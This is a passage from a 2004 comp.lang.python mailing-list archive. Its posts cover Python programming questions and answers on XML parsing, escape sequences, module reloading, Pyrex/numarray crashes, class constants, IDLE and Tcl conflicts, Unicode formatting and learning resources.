character set (-acharset). It is rendered in bold (+abold). Other
attributes follow the same pattern: +attrName for on and -attrName for
off. Foreground and background colour numbers (or names -- I can't
remember) appear at the end.

These human readable-records could be used to build test cases for the
screen outputs. I haven't done it yet, though. I imagine such a test
comparing the results of a call to .cellDump() to some stored (and
correct, hopefully) result in a file.

Brian.


From uche at ogbuji.net  Tue Feb 10 02:32:38 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 9 Feb 2004 23:32:38 -0800
Subject: package similar to XML::Simple
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<mailman.904.1075287732.12720.python-list@python.org>
Message-ID: <d116fbae.0402092332.22936b0@posting.google.com>

Pierre N <pierren at mac.com> wrote in message news:<mailman.904.1075287732.12720.python-list at python.org>...
> I'm using pyRXP, and it's great.
> It's using one tuple, not dictionnaries.
> Very very fast.
> By the way I'm just starting using this package, anybody met any
> problems with pyRXP?

I did.  It's not an XML parser :-(.  It does not accept character
entities such as &#8230; (the example that bit me), giving meaningless
"error" messages along the lines: "not a valid 8-bit XML character". 
If you need an XML parser, use PyRXPU, which comes in ReportLab CVS
only.  It is not as fast as PyRXP, but conformant in my testing, and
the point of XML is conformance, not speed at all costs.  If you want
speed at all costs, use CSV or some other plain text format.

I'm writing at length about this unfortunate PyRXP situation in my
next ORA python/XML column (expected Weds).

--Uche
http://uche.ogbui.net


From __peter__ at web.de  Sat Feb 28 14:55:16 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 28 Feb 2004 20:55:16 +0100
Subject: Reading newlines from a text file
References: <b4a8ffb6.0402281000.606425e2@posting.google.com>
Message-ID: <c1qrn4$8vq$07$1@news.t-online.com>

Thomas Philips wrote:

> I have a data file that I read with readline(), and would like to
> control the formats of the lines when they are printed. I have tried
> inserting escape sequences into the data file, but am having trouble
> getting them to work as I think they should. For example, if my data
> file has only one line which reads:
> 1\n234\n567
> 
> I would like to read it with a command of the form
> x=datafile.readline()
> 
> and I would like
> print x
> 
> to give me
> 1
> 234
> 567
> 
> The readline works like a charm, but the print gives me
> 1\n234\n567
> Clearly the linefeeds are not interpreted as such. How can I get the
> Python interpreter to correctly interpret escape sequences in strings
> that are read from files?

I see you are using "correct" as a synonym for "the way I want" :-)
The Python interpreter does not interpret data read from a file and you were
in for serious trouble if it would. However, you can process the data in
any way you like, and here's how to replace C-style escape sequences with
the corresponding characters:

>>> import codecs
>>> file("tmp.txt", "w").write("\\ntoerichte\\nlogik\\nboeser\\nkobold\n"*2)
>>> for line in file("tmp.txt"):
...     print line
...
\ntoerichte\nlogik\nboeser\nkobold

\ntoerichte\nlogik\nboeser\nkobold

>>> for line in codecs.open("tmp.txt", "r", "string_escape"):
...     print line
...

toerichte
logik
boeser
kobold


toerichte
logik
boeser
kobold

>>>

Peter


From peter at engcorp.com  Tue Feb 17 15:04:40 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 15:04:40 -0500
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
	<40327353.427A67CE@engcorp.com>
Message-ID: <403273D8.D1C4DD8D@engcorp.com>

Peter Hansen wrote:
> 
[snip]
> If you need more help, I suggest you post the code you have written so
> far to this mailing list/newsgroup and ask for feedback.  You'll learn
> the most, the fastest, this way, and will demonstrate your own willingness
> to do some of the work.

Or, just wait a moment and someone will post a working example, robbing
you of the opportunity to learn how to do it for yourself.  :-)

-Peter


From richie at entrian.com  Thu Feb 26 07:47:00 2004
From: richie at entrian.com (Richie Hindle)
Date: Thu, 26 Feb 2004 12:47:00 +0000
Subject: No Thoughts about Everything
In-Reply-To: <403DE127.8090506@fh-lausitz.de>
References: <403DE127.8090506@fh-lausitz.de>
Message-ID: <3gqr30t3hvtu179g7bh4vpgijam81dtu90@4ax.com>


[Bernhard]
> Better to light a candle than to curse the darkness.
> # Ancient Chinese Proverb

Very true, but in this case it really isn't dark - you are merely wearing
too large a hat.

(With apologies to Terry Pratchett.)

-- 
Richie Hindle
richie at entrian.com




From pyabo at novamens.com  Thu Feb 19 13:59:18 2004
From: pyabo at novamens.com (Pablo Yabo)
Date: Thu, 19 Feb 2004 15:59:18 -0300
Subject: PyImport_Import
Message-ID: <015801c3f71a$7b185b30$2601a8c0@hq.novamens.com>

Hi,
I?m using PyImport_Import function to load a module. After using that module
I call Py_DECREF with the module pointer to free it.
Then I want to load a module with the same filename but different content,
but Python loads the previous loaded module instead.
I verified the symbols of the module and they are the old symbols of the
file.
How can I force to unload the old module so PyImport_Import function loads
the new contents of the file?

Thanks on advance,

Pablo Yabo





From fuka at fuxoft.cz  Sat Feb  7 13:13:15 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sat, 07 Feb 2004 19:13:15 +0100
Subject: [Twisted] Sessions validity
In-Reply-To: <mailman.1334.1076175499.12720.python-list@python.org>
References: <c0365p$j8q$1@ns.felk.cvut.cz>
	<mailman.1334.1076175499.12720.python-list@python.org>
Message-ID: <c039qr$10md$1@ns.felk.cvut.cz>

Jp Calderone wrote:

>   The default is 60 seconds before login occurs, 30 minutes afterwards.  It
> is changed by calling "setLifetime" on the GuardSession.

Thank you very much!

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From newspost at lolmc.com  Sun Feb  8 11:29:14 2004
From: newspost at lolmc.com (Lol McBride)
Date: Sun, 08 Feb 2004 16:29:14 +0000
Subject: string to integer problem
Message-ID: <pan.2004.02.08.16.29.02.415446@lolmc.com>

Hi all,
I'm currently having problems with data returned from a MySQL database in
as much as the data returned is of the form '(1,10,23,33,35,48)' i.e. a
list variable holding 6 integers returned as a string. 
I can't seem to get around how to return the data to it's original format
i.e. the list with 6 integers - I have tried slicing the string and
converting the charachters individually but then I run into trouble when I
have integers over two digits wide as I can't combine the two separate
digits back into the original number.
I feel sure that someone has come across this before and I hope that my
request for help on this will be answered.
Thanks ,
Lol McBride



From marco at bubke.de  Mon Feb 23 17:14:03 2004
From: marco at bubke.de (Marco Bubke)
Date: Mon, 23 Feb 2004 23:14:03 +0100
Subject: numarray bug or my?
Message-ID: <c1dtvc$m53$1@graf.cs.uni-magdeburg.de>

Hi

Ok, I get a reproduceable seqmentation fault.

Ok, fist the code:

cdef NumArray array_to_double(NumArray array):
  # maybe here is memoty leak!
  cdef NumArray flat_array_obj
  flat_array_obj = NA_InputArray(NA_updateDataPtr(array), tFloat64,
NUM_C_ARRAY)
  return flat_array_obj
  
cdef NumArray array_to_int(NumArray array):
  # maybe here is memoty leak!
  cdef NumArray flat_array_obj
  flat_array_obj = NA_InputArray(NA_updateDataPtr(array), tInt32,
NUM_C_ARRAY)
  return flat_array_obj

def un_project(GLdouble winx,  GLdouble winy, GLdouble winz, NumArray model
not None, NumArray proj not None, NumArray viewport not None):
  assert NA_elements(model) == 16 and NA_elements(proj) == 16 and
NA_elements(viewport) == 4,\
    "modelview matrix, projection matrix or viewport ar of the wrong size"
#  cdef GLdouble objx
#  cdef GLdouble objy
#  cdef GLdouble objz
#  cdef NumArray flat_model
#  cdef NumArray flat_proj
  cdef NumArray flat_view
#  flat_model = array_to_double(model)
#  flat_proj = array_to_double(proj)
  flat_view = array_to_int(viewport) <<<<<<<<<<<<<<<<<<<<<<<
#  success = gluUnProject(winx, winy, winz,
<double*>NA_OFFSETDATA(flat_model), <double*>NA_OFFSETDATA(flat_proj),
<int*>NA_OFFSETDATA(flat_view), &objx, &objy, &objz)
#  assert success, 'failure in the unprojection'
  cdef NumArray new_array
  new_array = NA_NewArray(NULL, tFloat32, 1, 3)
#  new_array.fromlist([objx, objy, objz])
  return new_array


Ok, its in Pyrex and has a bug in   
flat_view = array_to_int(viewport), 
but I don't know why. If I change the code to 
flat_view = array_to_double(viewport)
its runnig without glitches. I really dont understand it.

Thx

Marco


From jcarlson at nospam.uci.edu  Tue Feb 17 23:39:53 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 17 Feb 2004 20:39:53 -0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <c0te8t$s06$1@news.hgc.com.hk>
References: <c0qc5j$2g52$1@news.hgc.com.hk> <c0r48l$2m1$1@news.service.uci.edu>
	<c0te8t$s06$1@news.hgc.com.hk>
Message-ID: <c0uqfr$fcd$1@news.service.uci.edu>

> Thank Josiah, in fact, which newsgroup should I post

It depends on what operating system you are running on.  Perhaps one of 
the comp.os.* newsgroups would be more topical, or even comp.compression.

The reason this is not the correct newsgroup is because yours was not a 
Python question.  A Python question would be something like, "How do I 
run external programs from within Python?", which would result in 
pointers to os.popen or os.system.  On the other hand, reordering your 
question to make more sense to english speakers (without losing meaning):
"I am using Powerarchiver.  It does not support all of the command-line 
options that I desire.  Can someone point me to a program that creates 
self-extracting archives with better command-line support?"

You'll notice that your question has nothing to do with Python.  It is 
about zip files and executables.

  - Josiah


From timr at probo.com  Sun Feb  8 01:55:24 2004
From: timr at probo.com (Tim Roberts)
Date: Sat, 07 Feb 2004 22:55:24 -0800
Subject: PEP 327: Decimal Data Type
References: <mailman.1168.1075811734.12720.python-list@python.org>
	<c00hdt$hbv$0@216.39.172.122>
	<4023ea86$0$138$3a628fcd@reader2.nntp.hccnet.nl>
Message-ID: <01nb20t83n3eo9dlbjpqmdcuuvelpkmbue@4ax.com>

anton at vredegoor.doge.nl (Anton Vredegoor) wrote:
>
>One possible option would be to provide for some kind of random
>rounding routine for some of the least significant bits of a floating
>point value.

I'm not so sure about this.  It still gives you what seems to be an exact
answer with 15 decimal places, but now you have non-determinism.  The real
answer, I think, is getting people to understand how much of their
real-world measurements are garbage.

>The advantage would be that this would also be usable for
>DSP-like computations that are used in music programming (volume
>adjustments) or in digital video (image rotation). 

Interesting.  I know you were kind of talking off the top of your head, but
can you tell me what leads you to thinking that some low-order randomness
would be helpful in those particular applications?

>Maybe we need a DSP-float instead of a decimal data type? Decimals
>could be used for testing DSP-float implementations.

Can you describe what you mean by DSP-float?  I'm not sure why a DSP should
treat floats any differently than an ordinary processor.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From trevp at trevp.net  Sun Feb 29 18:01:38 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 29 Feb 2004 15:01:38 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
	<7x4qtcozv5.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280017.5f8af771@posting.google.com>
	<7xd67zsfqg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402281027.21cc232d@posting.google.com>
	<7xllmnaub3.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402291501.1d42e0e2@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xllmnaub3.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > > Did you ever look at the key management scheme I circulated a while
> > > back?  Is it the kind of thing anyone cares about?
> [...]
> http://www.nightsong.com/phr/crypto/crypto.txt

I like the ideas about key protection.  It's a higher-level API then I
have a need for, though.  I'd just like to see a few fast primitives
in stdlib.


> > (aside from ciphers and RNGs, the other thing on my wish-list is
> > faster modular exponentiation..  Python use a simple right-to-left
> > square-and-multiply.  I'm no expert here, but I think it would be
> > pretty easy to make that a few times faster for crypto sized numbers. 
> > tlslite's handshaking, in python code, is ~5x slower than OpenSSL
> > right now..)
> 
> Use gmpy, http://gmpy.sf.net

That's another couple modules users have to install though (GMPY and
GMP).  I was thinking the current pow() implementation could be
optimized a bit.

Trevor


From bblochl at fh-lausitz.de  Wed Feb 25 12:25:11 2004
From: bblochl at fh-lausitz.de (bblochl)
Date: Wed, 25 Feb 2004 18:25:11 +0100
Subject: No Thoughts about Everything
Message-ID: <403CDA77.2040804@fh-lausitz.de>

Thanks for any helping suggestions so far.

> If you want something to stay constant,
> just don't change it.

To my regret in programming in large, sometimes distributet groups and 
over longer time on a huge Project it is not *my choice* to make the 
decision not to change a variable. It is a fact that very often the same 
names for variables and so on are used from different persons in an 
project, so side effects are only prevented by encapsulation and or make 
variables constant. (Usually people use uninspired the ever repeating 
x,y, z or a,b,c and so on.)

> class Foo:
>  BAR = 10


I tried that in the following in the following prog:


from math import *

class Mytest:
   LOGE_10=2.302585092994046
   #"Klassenkonstante" (static final?)
   #def __init__(self):
          def log10(self,x):
       return(log(x)/Mytest.LOGE_10)

testmath=Mytest()
print "LOGE_10=%10.8f"%Mytest.LOGE_10," and log10=%f10.8"%testmath.log10(3)
Mytest.LOGE_10=1
print "LOGE_10=%10.8f"%Mytest.LOGE_10," and log10=%f10.8"%testmath.log10(3)

#output:
#LOGE_10=2.30258509  and log10=0.47712110.8
#LOGE_10=1.00000000  and log10=1.09861210.8

One can see that one can change the constant LOGE_10 without any 
problem! So it is weather in Theory nor in practice a constant? That is 
not the needed functionality. Or did I not understand your proposes 
concept and did something wrong in the code ?

I am very thankful for any help to solve that central problem!

Thanks again
Bernhard

PS I will next try to apply recipe 5.15 "Defining Constants" (Alex 
Martelli) to LOGE_10 in the class Mytest(). But not today.




From michele.simionato at poste.it  Tue Feb 10 01:23:30 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 9 Feb 2004 22:23:30 -0800
Subject: converting base class instance to derived class instance
References: <930ba99a.0401200413.5fae6fb9@posting.google.com>	<100qm0soklj3439@news.supernews.com>
	<mailman.1372.1076344361.12720.python-list@python.org>
Message-ID: <95aa1afa.0402092223.2a8cf358@posting.google.com>

Fran?ois Pinard <pinard at iro.umontreal.ca> wrote in message news:<mailman.1372.1076344361.12720.python-list at python.org>...
> By the way, what is a "heap type"?

More or less, an user defined type, as opposed to a builtin type:

http://groups.google.it/groups?hl=it&lr=&ie=UTF-8&threadm=2259b0e2.0301230800.50ab9858%40posting.google.com&rnum=1&prev=/groups%3Fhl%3Dit%26lr%3D%26ie%3DISO-8859-1%26q%3Dsimionato%2Bheap%2Btype%26meta%3Dgroup%253Dcomp.lang.python.*


From jalil at feghhi.com  Tue Feb 10 15:03:45 2004
From: jalil at feghhi.com (Jalil Feghhi)
Date: Tue, 10 Feb 2004 12:03:45 -0800
Subject: Args starting w/ *?
Message-ID: <40293921.3040500@feghhi.com>

I have seen functions args that have one or two stars (*) in front of 
their names. I was wondering why stars are used exactly. I am new to 
Python but as far as I know there is no concept of pointers (or is there?).

Thanks,

-Jalil




From dmq at gain.com  Mon Feb 23 19:36:57 2004
From: dmq at gain.com (David MacQuigg)
Date: Mon, 23 Feb 2004 17:36:57 -0700
Subject: Idle won't start
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
	<8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>
	<2c60f0e0.0402221217.644b79e7@posting.google.com>
Message-ID: <9b4l30tn66bhni11hdatu8ot7uvpme8h13@4ax.com>

On 22 Feb 2004 12:17:56 -0800, rmb25612 at yahoo.com (Richard James)
wrote:

>David MacQuigg <shuvit at 127.0.0.1> wrote in message news:<8eh830tlh056hk21hm9v49m3qcinjv4pq9 at 4ax.com>...

>> This might be a different problem if your problem is truly
>> intermittent, but I am finding that IDLE has conflicts with other
>> installed programs.  I have been running Python 2.3 under Windows
>> XP-Home with no problem for the last few months.  Yesterday I
>> installed Ruby 1.8.1-11 and now IDLE won't start.  No response to
>> clicking the icon, selecting the menu item,  Nada.  
>> 
>> With Ruby installed, when I run IDLE from a command line
>> C:\Python23\Lib\idlelib>idle.py
>> I get a message:
>> """
>> _tkinter.TclError: Cant find a usable init.tcl in the following
>> directories:  <c:\ruby\tcl\lib\tcl8.3> <c:\ruby\tcl\lib\tcl8.3>
>> c:/ruby/tcl/lib/tcl8.4  C:/Python23/lib/tcl8.4  C:/lib/tcl8.4
>> C:/library
>> This probably means that Tcl wasn't installed properly.
>> """
>> I have no idea why IDLE is looking for library routines in the Ruby
>> subdirectories, or why all the strange variations in the search path
>> above, but it is clear that Ruby and IDLE cannot co-exist on one
>> computer.
>> 
>> -- Dave
>
>The Ruby Windows Installer adds the following to your autoexec.bat
>file.
>
>--------
>
>REM Ruby Install -- do not edit this line
>set TCL_LIBRARY=c:\ruby\tcl\lib\tcl8.3
>set RUBY_TCL_DLL=c:\ruby\bin\tcl83.dll
>set RUBY_TK_DLL=c:\ruby\bin\tk83.dll
>set PATH="c:\ruby\bin;%PATH%"
>REM Ruby Install -- do not edit this line
>
>---------
>
>The key to the "problem" is in how TCL works. With the above
>statements in your autoexec.bat file. Every time your computer boots,
>the TCL_LIBRARY environment variable is set to the Ruby version.
>
>When Python Idle runs TCL, TCL uses the TCL_LIBRARY environmental
>variable to locate the "correct" version of the TCL library to use.
>TCL is doing what it is designed to do. And Ruby is using a legal TCL
>method to set it's path.

After doing a complete system restore, I have IDLE working correctly,
and there is nothing in my AUTOEXEC.BAT file ( i.e. file-size = 0 ).
I would blame the Ruby installer for this particular mess.  There may
be other problems with the way IDLE sets itself up, as discussed
elsewhere in this thread, but it seems to be running smoothly for me
now.

>With that Ruby version installed, Ruby uses an old TCL version that
>won't work with Python 2.3! When Ruby and Python distributions use the
>same version of TCL, Idle will work fine.
>
>I hate programs that change your autoexec.bat file "behind your back"
>because of hard to understand problems just like this one.

Until they solve this problem, Ruby is banned from my Windows system.
I'm trying it now on my Debian Linux system, which won't be so much of
a problem if it gets trashed.

>Sometimes the uninstall doesn't work right and your autoexec.bat file
>still sets TCL_LIBRARY to an old version even after Ruby is "removed".
>
>Other third party software packages also could be setting TCL_LIBRARY
>in the autoexec.bat file. I've also read that the TK_LIBRARY
>environmental variable can cause problems as well.

In the six months I have been running XP on both my desktop and my
laptop, I've had to restore the whole disk once on each system.  The
laptop was a system crash that made it look like a disk hardware
problem.  This failure to uninstall Ruby is a little surprising,
considering how smoothly Windows installs usually go using their
install wizard.

>Because of quirky TCL problems like this one, I've quit using TCL and
>TK and use Gui4Cli and it's optional g4c.pyd Python dll for quick one
>of a kind Python MS Windows programs. Gui4Cli is a script language
>that makes native MS Windows GUI's very simple to create. You can also
>use Gui4Cli to put a Windows GUI on dos command line programs or
>integrate it with your C/C++ programs.
>
>http://www.gui4cli.com
>
>I like using the WSciTE editor from the Scintilla project.
>
>http://www.scintilla.org/SciTE.html
>
>You type your Python code in the editor window, Press F5, and it
>displays your Python program output in a second window.
>(You insert temporary print statements to "debug" your code.)

I was never happy with Tk as a GUI toolkit, although I think it makes
sense as a freebie with Python, and with a little effort, you can make
a very nice GUI (e.g. IDLE itself).  I use Qt Designer for building
GUI's to run on either Windows or Linux, and the more I use it, the
more I like it.  This and IDLE and a little bit of glue make a killer
combo for cross-platform program development.

The glue is pyuic, which converts the XML from Qt Designer into
Python.  With a makefile, it is only a few seconds from saving your
changes in Designer back to editing code in IDLE.

Thanks for your insights on this problem.

-- Dave



From mwh at python.net  Thu Feb 26 06:47:07 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 26 Feb 2004 11:47:07 GMT
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
	<dOD_b.73966$Wa.29376@news-server.bigpond.net.au>
	<m3ishwhdb3.fsf@pc150.maths.bris.ac.uk>
	<8ab0589d.0402251718.5b728a3@posting.google.com>
	<c1jm2n$q9k$1@panix3.panix.com>
Message-ID: <m3ad36dpvo.fsf@pc150.maths.bris.ac.uk>

aahz at pythoncraft.com (Aahz) writes:

> In article <8ab0589d.0402251718.5b728a3 at posting.google.com>,
> Brett C. <brett at python.org> wrote:
> >Michael Hudson <mwh at python.net> wrote in message news:<m3ishwhdb3.fsf at pc150.maths.bris.ac.uk>...
> >> 
> >> Um, the article as posted to clpy is hasn't been through docutils
> >> yet... if the mere fact of formatting it as reST caused encoding
> >> problems, that would indeed be a mysterious and deep effect.
> >> 
> >> Brett's mail contains a header:
> >> 
> >> X-MIME-Autoconverted: from 8bit to quoted-printable by
> >> 	war.OCF.Berkeley.EDU id i1O1oOqk029956
> >> 
> >> I'd be inclined to blame that.
> >
> >So would I.  =)  Damn it, that is upsetting.  I save the text in UTF-8
> >and reST handles it fine (as Michael points out below, it shows up
> >find in the HTML version).  Aahz has suggested using another SMTP
> >server for sending out the Summary, but that is a pain in the rear.
> 
> <raised eyebrow>  How's it a pain?  Just write a Python script that does
> an scp of the file to creosote, then rsh/ssh to run another Python script
> on creosote that does the mailing.  <evil grin>

Via which SMTP server, exactly?

Cheers,
mwh

-- 
  If design space weren't so vast, and the good solutions so small a
  portion of it, programming would be a lot easier.
                                            -- maney, comp.lang.python


From deets_noospaam at web.de  Thu Feb  5 17:21:46 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 23:21:46 +0100
Subject: unbuffered input
References: <mailman.1265.1076012430.12720.python-list@python.org>
Message-ID: <bvuflq$o0h$07$4@news.t-online.com>

>    I have a numbered menu that I want users to from. They choose the
> number corresponding to the action they wish to take.
> Right now I'm using input() to get the user's responce. They press the
> number then press ENTER. I would like to skip the
> part where they press ENTER, so that the user presses the number and
> then they get the action they chose without having
> to press ENTER. Is there a way to do this and how?

Look into the curses module and its raw-mode. 

Regards,

Diez B. Roggisch


From oussoren at cistron.nl  Mon Feb  2 03:50:10 2004
From: oussoren at cistron.nl (Ronald Oussoren)
Date: Mon, 2 Feb 2004 09:50:10 +0100
Subject: wxPython documentation
In-Reply-To: <2c60f0e0.0402010147.e225e51@posting.google.com>
References: <401c25a3$0$11357$636a55ce@news.free.fr>
	<2c60f0e0.0402010147.e225e51@posting.google.com>
Message-ID: <CEE5BE93-555C-11D8-AD4D-0003931CFE24@cistron.nl>


On 1-feb-04, at 10:47, Richard James wrote:

> "Olivier" <olivier.marechal at laposte.net> wrote in message 
> news:<401c25a3$0$11357$636a55ce at news.free.fr>...
>> Where could I find a good documentation about wxPython (a 
>> documentation
>> which is not for C++ !!!)
>>
>> Olivier
>
> If C++ docs are "easy" to convert in your head to Python.
> It does help if YOU KNOW how to program C++ first.
> So much for learning Python as a first computer language!
> And if you have to learn C++ first, then why do you need Python?
>
> Why do all programmers seem to think good documention is optional?
> Or an exercise left to the reader?
>

Another reason why wxPython has no seperate documentation is probably 
that "translating" the C++ oriented documentation is a major effort 
(there is a lot of documentation) and there is only a small team 
working on wxPython. Because the existing documentation is usuable 
enough it is understandable that they choose to work on improving 
wxPython instead of translating the existing documentation.

The same issue can be seen with wrappers for other large libraries.

Ronald




From google0 at lazytwinacres.net  Thu Feb  5 13:41:27 2004
From: google0 at lazytwinacres.net (Dan  Dang  Griffith)
Date: 5 Feb 2004 10:41:27 -0800
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
	<bvrem4$vrr$03$1@news.t-online.com>
	<b659da96daef1eb365df3fcbd5f7ca91@news.teranews.com>
	<bvrvsn$pdn$02$1@news.t-online.com>
Message-ID: <87274528.0402051041.4fa8ff46@posting.google.com>

Peter Otten <__peter__ at web.de> wrote in message news:<bvrvsn$pdn$02$1 at news.t-online.com>...
> Dang Griffith wrote:
> 
> > On Wed, 04 Feb 2004 19:46:28 +0100, Peter Otten <__peter__ at web.de>
> > wrote:
> > 
> >>> That kind of syntax would be especially welcome in list comprehensions:
> >>> 
> >>> [f(x,y) for x in list if y=g(x)<=0]
> >>> 
> >>> If g(x) is a fairly complicated expression, and y occurs several times
> >>> in f(x,y), considerable clarity could be gained.
> >>
> >>Is the above list comprehension that frequent? Then how about
> >>
> >>[f(x, y) for x, y in [(x, g(x)) for x in lst] if cond(y)]
> >>
> >>With the arrival of generator expressions, some of the overhead (the
> >>intermediate list) is bound to go away. In the mean time, there's still
> >>that good old for loop, which IMHO is still the most readible solution if
> >>things get really complicated.
> > 
> > I couldn't get your example to run.
> 
> Checking...
> 
> Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
> [GCC 3.2] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> def f(x, y):
> ...     return '%d%d' % (x, y)
> ...
> >>> def g(x): return 2*x
>  ...
> >>> def cond(x): return x % 10 == 2
>  ...
> >>> lst = range(10)
> >>> [f(x, y) for x, y in [(x, g(x)) for x in lst] if cond(y)]
>  ['12', '612']
> >>>
> 
> Seems to work. Maybe you overlooked the nested list comps?
> 
> > If g is a generator expression, this works for me:
> > 
> > [f(x, y) for x in lst for y in g(x) if cond(y)]
> 
> This is elegant.  
> 
> Peter

OIC--you mentioned generators and I defined g as yield 2*x.
You're right--yours works with non-generator, mine works with generator.

Maybe this should be a new thread, but... is defining a generator
like I did here, i.e. one that really only returns one value considered 
an abuse of generators?  It sure seemed convenient for this application.
def g(x): yield 2*x
    --dang


From mesteve_b at hotmail.com  Mon Feb 16 18:38:06 2004
From: mesteve_b at hotmail.com (python newbie)
Date: Mon, 16 Feb 2004 23:38:06 GMT
Subject: the best book for learning python !?
References: <b15d2792.0402161313.6902cc27@posting.google.com>
Message-ID: <yvcYb.26185$si2.13662@newssvr25.news.prodigy.com>

The new second edition of Learning Python is outstanding.  Not because of
the fact that it's recent (2004), but it just simply surpassed the first
edition in coverage.  Exceptions covered in 3 chapters, is one of my
personal reasons.

I actually put my Quick Python and Python in a Nutshell back on the
bookshelf, just for now, and stopped doing anything with my current Python
app (a backup program), until I've read this edition of L.P.  and inhaled
the concepts better.
You asked for books, specifically, so I won't mention the tutorials
available on the net.
Have fun,
Steve


"post400" <post400 at prontomail.com> wrote in message
news:b15d2792.0402161313.6902cc27 at posting.google.com...
> Hi ,
>
> I was just wondering ( yeah I know it's not the first time this
> question pops up )
> what would be the best 2 or 3 books for someone who wants to learn
> Python , already experienced in other non-OOP languages .It takes time
> to browse endlessly on the net , in a bookshop or a library for THOSE
> books that are really useful !
>
> Thanks ,
> post400




From jepler at unpythonic.net  Wed Feb 11 17:01:06 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 11 Feb 2004 16:01:06 -0600
Subject: Print formatted Strings with Umlauts
In-Reply-To: <91317660.0402111249.4ccc6e24@posting.google.com>
References: <91317660.0402111249.4ccc6e24@posting.google.com>
Message-ID: <20040211220105.GE4355@unpythonic.net>

If you work with Unicode strings instead of byte strings in the utf-8
encoding, you'll get the desired results for characters in the german
character set:

>>> b = '123'
>>> a = u'\344\366\374'
>>> print (u"%-5s %-5s\n%-5s %-5s" % (a, a, b, b)).encode("utf-8")
???   ???  
123   123  

However, this isn't good enough in general.  For instance, in the
presence of Unicode combining characters, you won't get what you want:
>>> u = u'\N{COMBINING DIAERESIS}'
>>> a = 'a%so%su%s' % (u,u,u)
>>> print a.encode("utf-8")
???
>>> print (u"%-5s %-5s\n%-5s %-5s" % (a, a, b, b)).encode("utf-8")
??? ???
123   123  


You'll also run into problems with characters that have "Wide" or
"Ambiguous" East Asian Width properties in Unicode.  For example,
>>> a = u'\N{FULLWIDTH LATIN SMALL LETTER U}' * 3
>>> print (u"%-5s %-5s\n%-5s %-5s" % (a, a, b, b)).encode("utf-8")
???   ???  
123   123  

Jeff



From duffman4287 at aol.com  Fri Feb  6 00:48:20 2004
From: duffman4287 at aol.com (The Tao of Spike)
Date: 5 Feb 2004 21:48:20 -0800
Subject: Best Beginner's Guide To Python?
Message-ID: <3b48d777.0402052148.3cd8e16c@posting.google.com>

I've recentlty been getting into programming.  I was wondering what
language to learn first and after asking around I decided on Python. 
I'm about half way through "Non-Programmers Tutorial For Python" By
Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
and I'm wondering where I should go after this.  Any help is
appreciated, thanks.


From arosado at softhome.net  Fri Feb  6 22:56:02 2004
From: arosado at softhome.net (Andres Rosado-Sepulveda)
Date: Fri, 06 Feb 2004 22:56:02 -0500
Subject: Beginning programmer question - How to print a list in a
 different format
In-Reply-To: <MPG.1a8e19663001709b989680@news-server.columbus.rr.com>
References: <MPG.1a8e19663001709b989680@news-server.columbus.rr.com>
Message-ID: <c01k2q$11mjmd$1@ID-203388.news.uni-berlin.de>

John wrote:

> Hi.
> 
> I have a dictionary thus: (wraps)
> 
> p1hand = 
> {'b12':b12,'d12':d12,'d23':d23,'n12':n12,'n23':n23,'n34':n34,'p12':p12,'
> p23':p23,'p34':p34,'p45':p45}
> 
> I set a variable called p1handlist so that I can print a list of the 
> keys to the screen:
> 
> p1handlist = p1hand.keys()
> print p1handlist
> 
> and the output looks like this:
> 
> ['b12', 'd12', 'd23', 'n12', 'n23', 'n34', 'p12', 'p23', 'p34', 'p45']
> 
> how can I make it so that the output looks more like this?:
> 
> b12, d12, d23, n12, n23, n34, p12, p23, p34, p45

You can do something like this:

toPrint = ", ".join(p1handlist)
print toPrint

> This is for a simple text mode game I am writing and the output to the 
> screen is important because at times the list gets too big to print on 
> one line of the display.

You might want to split the list first and then join the sublists.

-- 
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
AIM: pantear
Homepage: http://andres980.tripod.com/

Every election is a sort of advance auction sale of stolen goods.
     -- H.L. Mencken


From Nospam at please.com  Sun Feb 29 23:11:18 2004
From: Nospam at please.com (Todd7)
Date: Mon, 01 Mar 2004 04:11:18 GMT
Subject: Why Python?
References: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>
Message-ID: <Xns949EE1B6942C1Todd7Nospampleasecom@68.12.19.6>

Thanks for all the well reasoned replies.  I think I will make the 
plunge.





Todd7 <Nospam at please.com> wrote in
news:Xns949ECD7289AD6Todd7Nospampleasecom at 68.12.19.6: 

> I am looking at learning Python, but I would like to know what its 
> strengths and weaknesses are before I invest much time in learning it.
>  My first thought is what is it good for programming, however I expect
> an answer from the python newsgroup to be something like "everything".
>  So maybe a better question is what type of programming projects is
